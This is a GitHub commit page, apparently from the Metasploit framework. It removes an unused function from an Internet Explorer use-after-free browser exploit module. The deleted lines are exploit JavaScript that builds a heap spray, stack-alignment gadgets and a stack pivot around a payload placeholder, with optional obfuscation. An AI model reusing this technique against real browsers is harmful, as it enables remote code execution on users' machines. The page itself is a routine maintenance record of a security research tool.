Skip to content

Commit

Permalink
Forgot to remove function ie8_smil. Don't need this anymore.
Browse files Browse the repository at this point in the history
  • Loading branch information
wchen-r7 committed May 2, 2013
1 parent 329e822 commit eb23b5f
Showing 1 changed file with 0 additions and 38 deletions.
38 changes: 0 additions & 38 deletions modules/exploits/windows/browser/ie_cbutton_uaf.rb
Original file line number Diff line number Diff line change
Expand Up @@ -120,44 +120,6 @@ def get_target(agent)
return nil
end

def ie8_smil(my_target, p)



js = %Q|
unicorn = unescape("#{padding}");
for (i=0; i < 3; i++) {
unicorn += unescape("#{padding}");
}
unicorn += unescape("#{js_payload}");
animvalues = unescape("#{align_esp}");
for (i=0; i < 0xDC/4; i++) {
if (i == 0xDC/4-1) {
animvalues += unescape("#{xchg_esp}");
}
else {
animvalues += unescape("#{align_esp}");
}
}
animvalues += unicorn;
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
|

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
Expand Down

0 comments on commit eb23b5f

Please sign in to comment.